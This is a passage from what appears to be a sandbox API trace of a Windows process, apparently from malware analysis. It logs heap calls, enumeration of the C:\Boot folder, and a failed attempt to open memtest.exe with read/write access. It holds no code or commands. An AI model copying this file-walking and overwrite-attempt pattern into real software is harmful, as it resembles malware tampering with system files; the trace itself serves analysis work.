Size=0x20) returned 0x325fbc8 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fec0 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.719] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260258 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.719] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175580 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fad8 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa38 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fec0 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fd30 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3285c68 | out: hHeap=0x5d0000) returned 1 [0066.719] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.720] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f9e8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe70 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260258 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fad8 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fa38 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175580 | out: hHeap=0x5d0000) returned 1 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.720] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa38 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.720] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fad8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fd30 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fec0 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f9e8 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe70 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fa38 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa38 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.721] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.721] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe70 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.721] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.721] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f9e8 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.721] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260280 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbf0 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fad8 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260258 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260000 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ef70 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fa38 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f7e0 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe70 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe70 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.722] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f7e0 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.722] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa38 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.722] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbc8 [0066.722] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.722] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fbc8 | out: hHeap=0x5d0000) returned 1 [0066.723] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0066.723] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f740 [0066.723] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183078 [0066.723] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f740 | out: hHeap=0x5d0000) returned 1 [0066.723] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0066.723] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.723] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183078 | out: hHeap=0x5d0000) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32be710, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32be710, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32e4870, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32e4870, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb330a9d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb330a9d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3356c90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3356c90, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb337cdf0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb337cdf0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33a2f50, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33a2f50, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0066.723] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, 